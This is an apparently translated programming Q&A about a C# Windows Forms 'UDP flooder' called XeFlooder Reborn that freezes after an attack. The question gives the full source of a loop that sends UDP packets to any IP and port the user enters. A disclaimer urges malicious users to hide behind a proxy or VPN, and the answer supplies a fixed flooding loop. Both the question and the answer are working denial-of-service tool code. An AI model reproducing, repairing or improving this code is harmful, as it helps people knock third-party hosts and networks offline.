【问题标题】:Form freezes after UDP floodUDP 泛洪后表单冻结
【发布时间】:2013-09-13 14:05:14
【问题描述】:

我正在开发 UDP Flooder,攻击完成后表单冻结...

所以它的工作原理是我有一个按钮,它调用方法“startUDP”以攻击目标(它确实如此),我在方法内部创建了一个检查来检查攻击是否结束以及是否结束停止 while 循环。不幸的是,这并不能阻止程序冻结:/

感谢任何帮助!

到目前为止,这是我的代码:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.Threading;
using System.Windows.Forms;
using ComponentFactory.Krypton.Toolkit;

namespace XeFlooder_Reborn
{
    public partial class Form1 : ComponentFactory.Krypton.Toolkit.KryptonForm
    {
        int packets;
        int totalPackets;

        public Form1()
        {
            InitializeComponent();
        }

        private void udp_start_Click(object sender, EventArgs e)
        {
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 0/2...";
            //Thread.Sleep(100);
            packets = 0;
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 1/2...";
            //Thread.Sleep(100);
            totalPackets = Convert.ToInt32(udp_packets.Value);
            DebugLabel.Text = "Debugging Label - Resetting Packet Count 2/2...";
            //Thread.Sleep(100);
            DebugLabel.Text = "Debugging Label - Calling attack method...";
            //Thread.Sleep(100);
            startUDP(true);
        }

        private void startUDP(bool attacking)
        {
            while(attacking)
            {
                DebugLabel.Text = "Debugging Label - Checking attack status...";
                //Thread.Sleep(100);
                if (packets < totalPackets)
                {
                    DebugLabel.Text = "Debugging Label - Initiating Flood...";
                    //Thread.Sleep(500);

                    //UDP Packet being sent to target
                    DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                    //Thread.Sleep(100);
                    byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                    DebugLabel.Text = "Debugging Label - Packet creation successful...";
                    //Thread.Sleep(100);

                    //Assign Target End Point
                    DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                    //Thread.Sleep(100);
                    IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                    DebugLabel.Text = "Debugging Label - End Point creation successful...";

                    //Socket used to flood client
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Creating Socket...";
                    Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    //Thread.Sleep(100);
                    DebugLabel.Text = "Debugging Label - Socket creation successful!";

                    //Increase counted packets by 1
                    packets++;
                    DebugLabel.Text = "Debugging Label - Sending target the packet...";
                    //Send packet to target
                    target.SendTo(packet, ep);
                    DebugLabel.Text = "Debugging Label - Flood finished...";

                    //Update Progress Trackers
                    udp_progress_bar.Maximum = totalPackets;
                    udp_progress_bar.Value = packets;
                    udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);

                    //Check if we have reached flood limit (if attack is over)
                    if (attacking && udp_progress_bar.Value == udp_progress_bar.Maximum)
                    {
                        //Let the user know our attack is finished
                        MessageBox.Show("Successful UDP Flood Finished!");

                        //Reset packet count
                        packets = 0;
                        totalPackets = 0;

                        //Turn off attack loop
                        attacking = false;
                    }
                }
            }
            while (!attacking)
            {
                DebugLabel.Text = "Debugging Label - Waiting for command...";
            }
        }

        private string GetMacAddress()
        {
            string macAddresses = string.Empty;
            foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (nic.OperationalStatus == OperationalStatus.Up)
                {
                    macAddresses += nic.GetPhysicalAddress().ToString();
                    break;
                }
            }
            return macAddresses;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            MessageBox.Show("The developers of XeFlooder (Reborn) are not responsible for what you do with this program, it was made for stress testing. If you choose to use this program for malicious purposes please do so while using a Proxy or a VPN. Enjoy...", "DISCLAIMER!");
            if (NetworkInterface.GetIsNetworkAvailable() != true)
            {
                MessageBox.Show("You need to be connected to the internet to use this program...\nNow exiting...");
                this.Close();
            }
            WebRequest request = WebRequest.Create("http://icanhazip.com/");
            WebResponse response = request.GetResponse();
            System.IO.StreamReader sr = new System.IO.StreamReader(response.GetResponseStream());
            string IP = sr.ReadToEnd();
            IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
            info.Items.Add("Public IP Address: " + IP);
            foreach (IPAddress ip in host.AddressList)
            {
                if (ip.AddressFamily.ToString() == "InterNetwork")
                {
                    info.Items.Add("IPv4 Address: " + ip.ToString());
                }
            }
            info.Items.Add("Link Local Address: " + IPAddress.Broadcast);
            info.Items.Add("Machine Name: " + Dns.GetHostName());
            info.Items.Add("MAC Address: " + GetMacAddress());
        }
    }
}

【问题讨论】:

    标签: c# udp send freeze packet


    【解决方案1】:

    我怀疑您的问题是,您在嵌套的“if”块内设置“攻击”错误。因此,当外部块读取为 false 时(即当数据包 == totalPackets 时),一切都被绕过并且“攻击”永远不会设置为 false,并且您的 while 循环变得无限。

    看来将条件更改为if (packets &lt;= totalPackets) 可以解决问题。

    无法真正复制您的问题,但这里有一种稍微不同的方法来做同样的事情,不能有无限循环。这样,如果问题仍然存在,则不是循环。

           if(attacking)
            {
                //DebugLabel.Text = "Debugging Label - Checking attack status...";
                for (; packets <= totalPackets;packets++ )
                {              
                        //Thread.Sleep(100);
    
                        DebugLabel.Text = "Debugging Label - Initiating Flood...";
                        //Thread.Sleep(500);
    
                        //UDP Packet being sent to target
                        DebugLabel.Text = "Debugging Label - Creating packet that will be sent to target...";
                        //Thread.Sleep(100);
                        byte[] packet = ASCIIEncoding.ASCII.GetBytes("<XeFlooder Reborn 1.0>");
                        DebugLabel.Text = "Debugging Label - Packet creation successful...";
                        //Thread.Sleep(100);
    
                        //Assign Target End Point
                        DebugLabel.Text = "Debugging Label - Assigning end point based on IP and Port combination...";
                        //Thread.Sleep(100);
                        IPEndPoint ep = new IPEndPoint(IPAddress.Parse(udp_ip.Text), Convert.ToInt32(udp_port.Value));
                        DebugLabel.Text = "Debugging Label - End Point creation successful...";
    
                        //Socket used to flood client
                        //Thread.Sleep(100);
                        DebugLabel.Text = "Debugging Label - Creating Socket...";
                        Socket target = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                        //Thread.Sleep(100);
                        DebugLabel.Text = "Debugging Label - Socket creation successful!";
    
                        DebugLabel.Text = "Debugging Label - Sending target the packet...";
                        //Send packet to target
                        target.SendTo(packet, ep);
                        DebugLabel.Text = "Debugging Label - Flood finished...";
    
                        udp_progress_bar.Maximum = totalPackets;
                        udp_progress_bar.Value = packets;
                        udp_progress_text.Text = "Progress: " + Convert.ToString(packets) + "/" + Convert.ToString(totalPackets);
                }
                MessageBox.Show("Successful UDP Flood Finished!");
    
                //Reset packet count
                packets = 0;
                totalPackets = 0;
    
                //Turn off attack loop
                attacking = false;
            }
            if (!attacking)
            {
                DebugLabel.Text = "Debugging Label - Waiting for command...";
            }
    

    【讨论】:

    • 你会这么想,但如果我在该检查中放置一个消息框 (packets == totalPackets),则会出现消息框,但它不会将攻击设置为 false...
    • 不能真正复制您的问题,但我添加了一种稍微不同的方法来做同样的事情,不能有无限循环。这样,如果问题仍然存在,则不是循环。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-07-05
    • 2017-08-02
    • 2013-03-15
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多